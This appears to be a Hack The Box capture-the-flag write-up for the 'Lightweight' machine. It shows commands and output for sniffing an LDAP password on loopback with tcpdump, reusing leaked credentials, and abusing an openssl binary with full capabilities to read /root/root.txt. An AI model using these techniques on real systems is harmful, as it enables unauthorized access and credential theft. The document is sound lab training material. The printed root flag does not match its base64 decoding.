

Hack The Box - Writeup

Lightweight

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Recon

nmap

Port	Service
22/tcp	ssh
80/tcp	Apache
389/tcp	ldap

Initial Foothold - Get user.txt

The Page on port 80 tells you to ssh into the box using the attacker ip as user and password. That is working just fine.

```
1 [10.10.14.2@lightweight ~]$ whoami
2 10.10.14.2
3 [10.10.14.2@lightweight ~]$ hostname
4 lightweight.htb
5 [10.10.14.2@lightweight ~]$ ip a
6 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
   ↪ default qlen 1000
7     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
8     inet 127.0.0.1/8 scope host lo
9         valid_lft forever preferred_lft forever
10 2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state
   ↪ UP group default qlen 1000
11     link/ether 00:50:56:bf:4b:a1 brd ff:ff:ff:ff:ff:ff
12     inet 10.10.10.119/24 brd 10.10.10.255 scope global ens33
13         valid_lft forever preferred_lft forever
14 [10.10.14.2@lightweight ~]$
```

If you listen on the localhost with tcpdump and curl to the status page under <http://10.10.10.119/status.php> you will see the following:

```
1 [10.10.14.2@lightweight ~]$ tcpdump -nnXSs 0 -i lo
2 14:58:34.910780 IP 10.10.10.119.54162 > 10.10.10.119.389: Flags [P.], seq
   ↪ 1274729989:1274730080, ack 2245274875, win 683, options [nop,nop,TS
   ↪ val 4499786 ecr 4499786], length 91
3     0x0000:  4500 008f 7f50 4000 4006 9217 0a0a 0a77  E....P@.@.....w
4     0x0010:  0a0a 0a77 d392 0185 4bfa d605 85d4 2cfb  ...w....K.....,
5     0x0020:  8018 02ab 2983 0000 0101 080a 0044 a94a  ....).....D.J
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6 0x0030: 0044 a94a 3059 0201 0160 5402 0103 042d .D.J0Y...`T....-
7 0x0040: 7569 643d 6c64 6170 7573 6572 322c 6f75 uid=ldapuser2,ou
8 0x0050: 3d50 656f 706c 652c 6463 3d6c 6967 6874 =People,dc=light
9 0x0060: 7765 6967 6874 2c64 633d 6874 6280 2038 weight,dc=htb..8
10 0x0070: 6263 3832 3531 3333 3261 6265 3164 3766 bc8251332abe1d7f
11 0x0080: 3130 3564 3365 3533 6164 3339 6163 32 105d3e53ad39ac2

```

Looks like we discovered a ldap authentication here. Use what looks like a hash as a password will give you ldapuser2.

```

1 [10.10.14.2@lightweight ~]$ su ldapuser2
2 Password:
3 [ldapuser2@lightweight 10.10.14.2]$
4
5 [ldapuser2@lightweight ~]$ cat user.txt
6 8a866d3bb7e13a57aaeb110297f48026
7 [ldapuser2@lightweight ~]$

```

Priv Esc - Get root.txt

Next we transfer backup.7z to our attacker system and crack the hash of it. The password is delete. Then from within status.php we can read the password of ldapuser1

```

1 <?php
2 $username = 'ldapuser1';
3 $password = 'f3ca9d298a553da117442deeb6fa932d';
4 $ldapconfig['host'] = 'lightweight.htb';
5 $ldapconfig['port'] = '389';
6 $ldapconfig['basedn'] = 'dc=lightweight,dc=htb';
7 //$ldapconfig['usersdn'] = 'cn=users';

```

Now we are ldapuser1

```

1 [10.10.14.2@lightweight ~]$ su ldapuser1
2 Password:
3 [ldapuser1@lightweight 10.10.14.2]$ cd
4 [ldapuser1@lightweight ~]$ ls -la
5 total 1496
6 drwx-----. 4 ldapuser1 ldapuser1    181 Jun 15 21:03 .
7 drwxr-xr-x. 7 root      root          93 Dec 10 14:02 ..

```

```

8 -rw----- . 1 ldapuser1 ldapuser1      0 Jun 21 19:59 .bash_history
9 -rw-r--r-- . 1 ldapuser1 ldapuser1     18 Apr 11 2018 .bash_logout
10 -rw-r--r-- . 1 ldapuser1 ldapuser1    193 Apr 11 2018 .bash_profile
11 -rw-r--r-- . 1 ldapuser1 ldapuser1    246 Jun 15 21:03 .bashrc
12 drwxrwxr-x. 3 ldapuser1 ldapuser1      18 Jun 11 04:43 .cache
13 -rw-rw-r-- . 1 ldapuser1 ldapuser1   9714 Jun 15 19:55 capture.pcap
14 drwxrwxr-x. 3 ldapuser1 ldapuser1      18 Jun 11 04:43 .config
15 -rw-rw-r-- . 1 ldapuser1 ldapuser1     646 Jun 15 19:47 ldapTLS.php
16 -rwxr-xr-x. 1 ldapuser1 ldapuser1 555296 Jun 13 19:44 openssl
17 -rwxr-xr-x. 1 ldapuser1 ldapuser1 942304 Jun 13 18:47 tcpdump
18 [ldapuser1@lightweight ~]

```

The openssl binary in the user folder has other capabilities than the included one:

```

1 [ldapuser1@lightweight ~]$ getcap ./openssl
2 ./openssl =ep
3 [ldapuser1@lightweight ~]$ getcap /usr/bin/openssl
4 [ldapuser1@lightweight ~]$

```

As the capabilities are obviously wrong cause no explicit were given you can misuse the openssl binary in the userfolder to read protected files.

```

1 [ldapuser1@lightweight ~]$ ./openssl enc -base64 -in /root/root.txt -out
   ↪ ./flag.b64
2 [ldapuser1@lightweight ~]$ cat flag.b64
3 ZjFkNGUzMDljNWUyYjNmZmZmZjc0YTlmNGIyMTM1ZmEK
4 [ldapuser1@lightweight ~]$ cat flag.b64 | base64 -d
5 f1d4e309c5a6b3ffff74a8f4b2135fa
6 [ldapuser1@lightweight ~]$

```